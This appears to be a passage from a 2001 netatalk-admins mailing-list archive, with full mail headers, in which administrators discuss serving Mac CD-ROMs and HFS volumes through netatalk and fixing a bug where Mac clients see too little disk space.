>  >  What MacOS version(s) are the clients running? Older versions of the OS
>  >  (someone else will have to join in with specific version numbers)
>  >  couldn't see past some ludicrously low number of gigs, I think 2 gigs,
>  >  and that would foul up the free space display.
>  >
>  >  Steve

From netatalk.administrators-errors@umich.edu  Sun Feb  4 23:10:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA00753
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 4 Feb 2001 23:10:24 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA19811
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 4 Feb 2001 23:10:18 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA19809
	for netatalk.administrators-members@umich.edu; Sun, 4 Feb 2001 23:10:18 -0500 (EST)
Received: from clmboh1-smtp3.columbus.rr.com (dhcp065-024-000-112.columbus.rr.com [65.24.0.112] (may be forged))
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA19801
	for <netatalk-admins@umich.edu>; Sun, 4 Feb 2001 23:10:17 -0500 (EST)
Received: from mail.iowna.com (dhcp065-024-023-038.columbus.rr.com [65.24.23.38])
	by clmboh1-smtp3.columbus.rr.com (8.11.2/8.11.2) with ESMTP id f1547tr20490;
	Sun, 4 Feb 2001 23:07:56 -0500 (EST)
Sender: wmoran@clmboh1-smtp3.columbus.rr.com
Message-ID: <3A7E270C.44004163@mail.iowna.com>
Date: Sun, 04 Feb 2001 23:07:40 -0500
From: Bill Moran <wmoran@mail.iowna.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-STABLE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: deltor@snafu.de
CC: netatalk-admins@umich.edu
Subject: Re: Sharing CD-ROM's and Floppy's via NetaTalk
References: <3A7D7DC3.95192108@telusplanet.net> <3A7DF752.71C6BE41@concentric.net> <01020503175204.26432@athlet>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Carsten Neumann wrote:
> 
> On Mon, 05 Feb 2001, Philip B. Bechtel wrote:
> > Stefan,
> >
> >     I used Supermount to allow the CDs to be mounted.  It worked ok for
> > most files, but never was satisfactory for Mac executables.
> > The reason was that the date/time information that Linux offered to the
> > Mac clients, was almost always out-of-order, and the software
> > would refuse to work.
> >
> > Good Luck, and let me know if it works.  It was a long time ago, that I
> > used netatalk to serve CDs to Macs, I hope the date/time
> > information has been corrected, kernel 1.3.
> >
> > Phil
> 
> I think the bigger problem is that your resource fork and finder info will get dropped.
> Afpd uses the .AppleDouble dir to store these things, i.e. one extra file per mac file.
> An HFS volume (or ISO9660 w/HFS extension) stores these in two separate directories .finderinfo and
> .resource, i.e. two extra files per mac file.
> They aren't seen by afpd.
> So you only have access to the data fork, which is sometimes not enough. ;-)
> Or is there an option to mount HFS volumes that they can properly be used via afpd?
> Or an option for afpd?

There is a suite of HFS tools for FreeBSD that allow mounting of HFS
volumes (including CD-ROMs, etc) I'd assume that they're available under
Linux, but I don't know. I also don't know the extent of their
capability. It's something to look into, though.

-Bill

From netatalk.administrators-errors@umich.edu  Sun Feb  4 23:11:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA00793
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 4 Feb 2001 23:11:58 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA04380
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 4 Feb 2001 23:11:58 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA04348
	for netatalk.administrators-members@umich.edu; Sun, 4 Feb 2001 23:11:57 -0500 (EST)
Received: from clmboh1-smtp3.columbus.rr.com (dhcp065-024-000-112.columbus.rr.com [65.24.0.112] (may be forged))
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA04294
	for <netatalk-admins@umich.edu>; Sun, 4 Feb 2001 23:11:56 -0500 (EST)
Received: from mail.iowna.com (dhcp065-024-023-038.columbus.rr.com [65.24.23.38])
	by clmboh1-smtp3.columbus.rr.com (8.11.2/8.11.2) with ESMTP id f1549Ur21016;
	Sun, 4 Feb 2001 23:09:30 -0500 (EST)
Sender: wmoran@clmboh1-smtp3.columbus.rr.com
Message-ID: <3A7E276B.5E2243AB@mail.iowna.com>
Date: Sun, 04 Feb 2001 23:09:15 -0500
From: Bill Moran <wmoran@mail.iowna.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-STABLE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Kevin Shrieve <kevin@lumiere.net>
CC: netatalk-admins@umich.edu
Subject: Re: my Mac sees much less hard drive space
References: <v04220801b6a3c29a37e4@[10.11.12.51]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Kevin Shrieve wrote:
> 
> We've installed netatalk-1.4b2 on a FreeBSD 4.2-20001121-BETA system.
> 
> A 20G shared partition displays as 1.6G from a Mac OS 9.04 machine.
> All 20G are available from a Win 98 machine.
> 
> I see a mention of this in the archives from August.  Has this
> problem been resolved?  If not, are there workaround strategies?
> Surely this is not what most netatalk users encounter, eh?

Install the version of Netatalk with the asun patches (available as a
package). It fixes that problem as well as others.

-Bill

From netatalk.administrators-errors@umich.edu  Sun Feb  4 23:27:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA01132
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 4 Feb 2001 23:27:36 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA14203
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 4 Feb 2001 23:27:36 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA14176
	for netatalk.administrators-members@umich.edu; Sun, 4 Feb 2001 23:27:35 -0500 (EST)
Received: from schilling.ucdavis.edu (schilling.ucdavis.edu [169.237.105.1])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA14121
	for <netatalk-admins@umich.edu>; Sun, 4 Feb 2001 23:27:34 -0500 (EST)
Received: from prometheus.mailbox.ucdavis.edu (iras-6-97.ucdavis.edu [169.237.13.97])
	by schilling.ucdavis.edu (8.11.1/8.11.0/IT4.4.8) with ESMTP id f154RQZ02960;
	Sun, 4 Feb 2001 20:27:27 -0800 (PST)
Message-Id: <5.0.2.1.0.20010204200618.00a53c00@127.0.0.1>
X-Sender: itlm019/mailbox.ucdavis.edu@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Sun, 04 Feb 2001 20:11:50 -0800
To: Kevin Shrieve <kevin@lumiere.net>, netatalk-admins@umich.edu
From: "Marc J. Miller" <itlm019@mailbox.ucdavis.edu>
Subject: Re: my Mac sees much less hard drive space
In-Reply-To: <v04220801b6a3c29a37e4@[10.11.12.51]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Netatalk 1.5 was patched to recognize larger partitions.  You could 
probably apply the same patches to the version you're using, but it's 
easiest just to download one of the recent packaged releases from 
http://www.sourceforge.net/projects/netatalk.

At 06:51 PM 2/4/01 -0800, Kevin Shrieve wrote:
>We've installed netatalk-1.4b2 on a FreeBSD 4.2-20001121-BETA system.
>
>A 20G shared partition displays as 1.6G from a Mac OS 9.04 machine. All 
>20G are available from a Win 98 machine.
>
>I see a mention of this in the archives from August.  Has this problem 
>been resolved?  If not, are there workaround strategies? Surely this is 
>not what most netatalk users encounter, eh?
>
>Thanks for any help.
>
>kevin at lumiere.net
>
>
>>  >  -----Original Message-----
>>  >  From: Steve Freitas [mailto:sflist@ihonk.com]
>>  >  Sent:       Monday, August 07, 2000 11:59 AM
>>  >  To: Mike Johnson; Netatalk
>>  >  Subject:    Re: Problem with displayed hard drive space
>>  >
>>  >  > When a
>>  >  >mac logs in, they see only the miserable little amount of free 
>> space left
>>  >  on
>>  >  >linux, not the wide-open space available on the mounted directories.
>>  >
>>  >  What MacOS version(s) are the clients running? Older versions of the OS
>>  >  (someone else will have to join in with specific version numbers)
>>  >  couldn't see past some ludicrously low number of gigs, I think 2 gigs,
>>  >  and that would foul up the free space display.
>>  >
>>  >  Steve


From netatalk.administrators-errors@umich.edu  Mon Feb  5 00:16:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA02192
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 5 Feb 2001 00:16:36 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA15287
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 5 Feb 2001 00:16:36 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA15276
	for netatalk.administrators-members@umich.edu; Mon, 5 Feb 2001 00:16:35 -0500 (EST)
Received: from smtprelay3.adelphia.net (smtprelay3.adelphia.net [64.8.25.8])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id AAA15251
	for <netatalk-admins@umich.edu>; Mon, 5 Feb 2001 00:16:34 -0500 (EST)
Received: from concentric.net ([24.48.84.198]) by
          smtprelay3.adelphia.net (Netscape Messaging Server 4.15) with
          ESMTP id G89QM500.H98 for <netatalk-admins@umich.edu>; Mon, 5
          Feb 2001 00:15:41 -0500 
Sender: pbechtel@concentric.net
Message-ID: <3A7E373B.32AEB490@concentric.net>
Date: Mon, 05 Feb 2001 00:16:44 -0500
From: "Philip B. Bechtel" <pbechtel@concentric.net>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.17-21mdk i586)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: Sharing CD-ROM's and Floppy's via NetaTalk
References: <3A7D7DC3.95192108@telusplanet.net> <3A7DF752.71C6BE41@concentric.net> <01020503175204.26432@athlet>
Content-Type: multipart/alternative;
 boundary="------------3B7766D0C2C83AFFB065157F"


--------------3B7766D0C2C83AFFB065157F
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

The hfs module was available back when I tried it.  It certainly did provide the forked files that
were on the Mac CDs. I believe I
copied executables from a Mac CD on a Mac to a Netatalk share and it would then be executable if the
software didn't check the
date/time for some kind of weak copy protection.  Some programs worked fine, others didn't.  It was a
few years back, so trying it again,
by copying a complete executable from the Mac to a netatalk share, testing execution, then mount the
CD with HFS module loaded, and try execution again to see any difference, would be useful.

Phil

Carsten Neumann wrote:

> On Mon, 05 Feb 2001, Philip B. Bechtel wrote:
> > Stefan,
> >
> >     I used Supermount to allow the CDs to be mounted.  It worked ok for
> > most files, but never was satisfactory for Mac executables.
> > The reason was that the date/time information that Linux offered to the
> > Mac clients, was almost always out-of-order, and the software
> > would refuse to work.
> >
> > Good Luck, and let me know if it works.  It was a long time ago, that I
> > used netatalk to serve CDs to Macs, I hope the date/time
> > information has been corrected, kernel 1.3.
> >
> > Phil
>
> I think the bigger problem is that your resource fork and finder info will get dropped.
> Afpd uses the .AppleDouble dir to store these things, i.e. one extra file per mac file.
> An HFS volume (or ISO9660 w/HFS extension) stores these in two separate directories .finderinfo and
> .resource, i.e. two extra files per mac file.
> They aren't seen by afpd.
> So you only have access to the data fork, which is sometimes not enough. ;-)
> Or is there an option to mount HFS volumes that they can properly be used via afpd?
> Or an option for afpd?
>
> >
> > Stefan Srdic wrote:
> >
> > > I've recently configured an old Pentium to serve as a Apple file server
> > > on a simple peer-peer network. I have been requested by my client to
> > > configure the Linux box so that he would be able to mount floppies and
> > > CD-ROM drives over the network. How do you accomplish this?
> > >
> > > So far, the user is able to log into the Linux box and mount his home
> > > diretory over the network. How do I give permissions to this user and
> > > configure NetaTalk so that he can mount floppies and CD-ROM's?
> > >
> > > Thanks
> > >
> > > Stef
>
> Regards
>
>         Carsten

--
- Philip B, Bechtel                                                    -
- AARDSYS,LLC                         "The earth is but one country    -
- (716) 778-5271                       and mankind it's citizens."     -
- PBechtel@concentric.net                -- Baha'u'llah                -



--------------3B7766D0C2C83AFFB065157F
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
The hfs module was available back when I tried it.&nbsp; It certainly did
provide the forked files that were on the Mac CDs. I believe I
<br>copied executables from a Mac CD on a Mac to a Netatalk share and it
would then be executable if the software didn't check the
<br>date/time for some kind of weak copy protection.&nbsp; Some programs
worked fine, others didn't.&nbsp; It was a few years back, so trying it
again,
<br>by copying a complete executable from the Mac to a netatalk share,
testing execution, then mount the CD with HFS module loaded, and try execution
again to see any difference, would be useful.
<p>Phil
<p>Carsten Neumann wrote:
<blockquote TYPE=CITE>On Mon, 05 Feb 2001, Philip B. Bechtel wrote:
<br>> Stefan,
<br>>
<br>>&nbsp;&nbsp;&nbsp;&nbsp; I used Supermount to allow the CDs to be
mounted.&nbsp; It worked ok for
<br>> most files, but never was satisfactory for Mac executables.
<br>> The reason was that the date/time information that Linux offered
to the
<br>> Mac clients, was almost always out-of-order, and the software
<br>> would refuse to work.
<br>>
<br>> Good Luck, and let me know if it works.&nbsp; It was a long time
ago, that I
<br>> used netatalk to serve CDs to Macs, I hope the date/time
<br>> information has been corrected, kernel 1.3.
<br>>
<br>> Phil
<p>I think the bigger problem is that your resource fork and finder info
will get dropped.
<br>Afpd uses the .AppleDouble dir to store these things, i.e. one extra
file per mac file.
<br>An HFS volume (or ISO9660 w/HFS extension) stores these in two separate
directories .finderinfo and
<br>.resource, i.e. two extra files per mac file.
<br>They aren't seen by afpd.
<br>So you only have access to the data fork, which is sometimes not enough.
;-)
<br>Or is there an option to mount HFS volumes that they can properly be
used via afpd?
<br>Or an option for afpd?
<p>>
<br>> Stefan Srdic wrote:
<br>>
<br>> > I've recently configured an old Pentium to serve as a Apple file
server
<br>> > on a simple peer-peer network. I have been requested by my client
to
<br>> > configure the Linux box so that he would be able to mount floppies
and
<br>> > CD-ROM drives over the network. How do you accomplish this?
<br>> >
<br>> > So far, the user is able to log into the Linux box and mount his
home
<br>> > diretory over the network. How do I give permissions to this user
and
<br>> > configure NetaTalk so that he can mount floppies and CD-ROM's?
<br>> >
<br>> > Thanks
<br>> >
<br>> > Stef
<p>Regards
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Carsten</blockquote>

<pre>--&nbsp;
- Philip B, Bechtel&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -
- AARDSYS,LLC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "The earth is but one country&nbsp;&nbsp;&nbsp; -
- (716) 778-5271&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; and mankind it's citizens."&nbsp;&nbsp;&nbsp;&nbsp; -&nbsp;
- PBechtel@concentric.net&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- Baha'u'llah&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -</pre>
&nbsp;</html>

--------------3B7766D0C2C83AFFB065157F--


From netatalk.administrators-errors@umich.edu  Mon Feb  5 01:12:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id BAA02964
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 5 Feb 2001 01:12:21 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA27022
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 5 Feb 2001 01:12:21 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA27011
	for netatalk.administrators-members@umich.edu; Mon, 5 Feb 2001 01:12:21 -0500 (EST)
Received: from schilling.ucdavis.edu (schilling.ucdavis.edu [169.237.105.1])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id BAA26983
	for <netatalk-admins@umich.edu>; Mon, 5 Feb 2001 01:12:20 -0500 (EST)
Received: from prometheus.mailbox.ucdavis.edu (iras-3-43.ucdavis.edu [169.237.17.43])
	by schilling.ucdavis.edu (8.11.1/8.11.0/IT4.4.8) with ESMTP id f1556CZ07159;
	Sun, 4 Feb 2001 21:06:17 -0800 (PST)
Message-Id: <5.0.2.1.0.20010204210127.00a504e0@127.0.0.1>
X-Sender: itlm019/mailbox.ucdavis.edu@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Sun, 04 Feb 2001 21:02:31 -0800
To: Bill Moran <wmoran@mail.iowna.com>, Kevin Shrieve <kevin@lumiere.net>
From: "Marc J. Miller" <itlm019@mailbox.ucdavis.edu>
Subject: Re: my Mac sees much less hard drive space
Cc: netatalk-admins@umich.edu
In-Reply-To: <3A7E276B.5E2243AB@mail.iowna.com>
References: <v04220801b6a3c29a37e4@[10.11.12.51]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

The asun patches do something with the 2GB barrier, but version 1.5 of 
netatalk/etc/afpd/unix.c also claims to be a fix for that.  I'm not sure 
the asun patches will be enough.

At 11:09 PM 2/4/01 -0500, Bill Moran wrote:
>Kevin Shrieve wrote:
> >
> > We've installed netatalk-1.4b2 on a FreeBSD 4.2-20001121-BETA system.
> >
> > A 20G shared partition displays as 1.6G from a Mac OS 9.04 machine.
> > All 20G are available from a Win 98 machine.
> >
> > I see a mention of this in the archives from August.  Has this
> > problem been resolved?  If not, are there workaround strategies?
> > Surely this is not what most netatalk users encounter, eh?
>
>Install the version of Netatalk with the asun patches (available as a
>package). It fixes that problem as well as others.
>
>-Bill


From netatalk.administrators-errors@umich.edu  Mon Feb  5 01:26:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id BAA03329
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 5 Feb 2001 01:26:55 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA23016
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 5 Feb 2001 01:26:49 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA23010
	for netatalk.administrators-members@umich.edu; Mon, 5 Feb 2001 01:26:48 -0500 (EST)
Received: from server.deanox.com (ns1.deanox.com [209.197.23.235])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id BAA22966
	for <netatalk-admins@umich.edu>; Mon, 5 Feb 2001 01:26:47 -0500 (EST)
Received: from rygar.deanox.com (rygar.deanox.com [209.197.23.237])
	by server.deanox.com (8.9.3/8.8.7) with SMTP id AAA13757;
	Mon, 5 Feb 2001 00:25:14 -0700
Message-Id: <3.0.6.32.20010204232650.008ffcd0@server.deanox.com>
X-Sender: faxguy@server.deanox.com
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32)
Date: Sun, 04 Feb 2001 23:26:50 -0700
To: "Marc J. Miller" <itlm019@mailbox.ucdavis.edu>,
        Bill Moran <wmoran@mail.iowna.com>, Kevin Shrieve <kevin@lumiere.net>
From: Lee Howard <faxguy@deanox.com>
Subject: Re: my Mac sees much less hard drive space
Cc: netatalk-admins@umich.edu
In-Reply-To: <5.0.2.1.0.20010204210127.00a504e0@127.0.0.1>
References: <3A7E276B.5E2243AB@mail.iowna.com>
 <v04220801b6a3c29a37e4@[10.11.12.51]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

At 09:02 PM 2/4/01 -0800, Marc J. Miller wrote:
>The asun patches do something with the 2GB barrier, but version 1.5 of 
>netatalk/etc/afpd/unix.c also claims to be a fix for that.  I'm not sure 
>the asun patches will be enough.

I recently did a netatalk-1.5 installation and didn't notice a problem with
a 2GB barrier and haven't heard any problems from the client, either.

Lee Howard.


From netatalk.administrators-errors@umich.edu  Mon Feb  5 02:32:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA04447
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 5 Feb 2001 02:32:56 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA10820
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 5 Feb 2001 02:32:56 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA10803
	for netatalk.administrators-members@umich.edu; Mon, 5 Feb 2001 02:32:56 -0500 (EST)
Received: from clever.visp-europe.psi.com (clever.visp-europe.psi.com [212.222.105.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id CAA10767
	for <netatalk-admins@umich.edu>; Mon, 5 Feb 2001 02:32:54 -0500 (EST)
Received: from n245-64.berlin.snafu.de ([195.21.245.64] helo=athlet.deltaman.de)
	by clever.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14Pg8q-0007Hz-00; Mon, 05 Feb 2001 08:32:53 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id IAA29668;
	Mon, 5 Feb 2001 08:30:50 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: Stefan Srdic <linuxbox@telusplanet.net>, netatalk-admins@umich.edu
Subject: Re: Sharing CD-ROM's and Floppy's via NetaTalk
Date: Mon, 5 Feb 2001 06:23:22 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <3A7D7DC3.95192108@telusplanet.net> <01020503175204.26432@athlet> <3A7DC379.1B8767B5@telusplanet.net>
In-Reply-To: <3A7DC379.1B8767B5@telusplanet.net>
MIME-Version: 1.0
Message-Id: <01020508305006.26432@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id CAA04447

On Sun, 04 Feb 2001, Stefan Srdic wrote:
> Carsten Neumann wrote:
> 
> > I think the bigger problem is that your resource fork and finder info will get dropped.
> > Afpd uses the .AppleDouble dir to store these things, i.e. one extra file per mac file.
> > An HFS volume (or ISO9660 w/HFS extension) stores these in two separate directories .finderinfo and
> > .resource, i.e. two extra files per mac file.
> > They aren't seen by afpd.
> > So you only have access to the data fork, which is sometimes not enough. ;-)
> > Or is there an option to mount HFS volumes that they can properly be used via afpd?
> > Or an option for afpd?
> >
> >
> > Regards
> >
> >         Carsten
> 
> Would compiling Apple FileSystem support in the new 2.4 kernel solve this problem? If so, would it be
> recomended to partition a seperate directory under the Apple File System for use with NetaTalk?
> 
> Stef

I have HFS support as module, think there is no difference between kernel-integration and module.
I also think there is no change from 2.2.x to 2.4 regarding HFS.
If you haven't already, compile Apple filesystem support into your kernel or as a module.
So you will be able to mount HFS images.
But that wouldn't solve our problems.
If you mount an HFS image like:

mount -t hfs -o loop disk.img mount-point

there will always be the .finderinfo and .resource directories instead of the .AppleDouble dir.
So afpd doesn't see it -> no resource fork, file type, creator, etc.

Could be a challenge to have afpd work on Mac HFS. :-)
I sometimes dreamed of mounting my jukeboxes CDROMs remotely via AppleTalk. :-))

If someone has knowledge and time to make afpd mess around with the .resource and .finderinfo files
this would be a great advance.


Regards

	Carsten

From netatalk.administrators-errors@umich.edu  Mon Feb  5 02:32:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA04463
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 5 Feb 2001 02:32:58 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA21660
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 5 Feb 2001 02:32:51 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA21652
	for netatalk.administrators-members@umich.edu; Mon, 5 Feb 2001 02:32:51 -0500 (EST)
Received: from clever.visp-europe.psi.com (clever.visp-europe.psi.com [212.222.105.4])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id CAA21636
	for <netatalk-admins@umich.edu>; Mon, 5 Feb 2001 02:32:49 -0500 (EST)
Received: from n245-64.berlin.snafu.de ([195.21.245.64] helo=athlet.deltaman.de)
	by clever.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14Pg8s-0007Hz-00; Mon, 05 Feb 2001 08:32:54 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id GAA29326;
	Mon, 5 Feb 2001 06:21:29 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: Bill Moran <wmoran@mail.iowna.com>, netatalk-admins@umich.edu
Subject: Re: Sharing CD-ROM's and Floppy's via NetaTalk
Date: Mon, 5 Feb 2001 05:54:22 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <3A7D7DC3.95192108@telusplanet.net> <01020503175204.26432@athlet> <3A7E270C.44004163@mail.iowna.com>
In-Reply-To: <3A7E270C.44004163@mail.iowna.com>
MIME-Version: 1.0
Message-Id: <01020506212905.26432@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id CAA04463

On Mon, 05 Feb 2001, Bill Moran wrote:
> Carsten Neumann wrote:
> > 
> > On Mon, 05 Feb 2001, Philip B. Bechtel wrote:
> > > Stefan,
> > >
> > >     I used Supermount to allow the CDs to be mounted.  It worked ok for
> > > most files, but never was satisfactory for Mac executables.
> > > The reason was that the date/time information that Linux offered to the
> > > Mac clients, was almost always out-of-order, and the software
> > > would refuse to work.
> > >
> > > Good Luck, and let me know if it works.  It was a long time ago, that I
> > > used netatalk to serve CDs to Macs, I hope the date/time
> > > information has been corrected, kernel 1.3.
> > >
> > > Phil
> > 
> > I think the bigger problem is that your resource fork and finder info will get dropped.
> > Afpd uses the .AppleDouble dir to store these things, i.e. one extra file per mac file.
> > An HFS volume (or ISO9660 w/HFS extension) stores these in two separate directories .finderinfo and
> > .resource, i.e. two extra files per mac file.
> > They aren't seen by afpd.
> > So you only have access to the data fork, which is sometimes not enough. ;-)
> > Or is there an option to mount HFS volumes that they can properly be used via afpd?
> > Or an option for afpd?
> 
> There is a suite of HFS tools for FreeBSD that allow mounting of HFS
> volumes (including CD-ROMs, etc) I'd assume that they're available under
> Linux, but I don't know. I also don't know the extent of their
> capability. It's something to look into, though.
> 
> -Bill

There is a program suite which is called hfsutils, it contains programs as:

       hattrib - change HFS file or directory attributes
       hcd - change working HFS directory
       hcopy - copy files from or to an HFS volume
       hdel - delete both forks of an HFS file
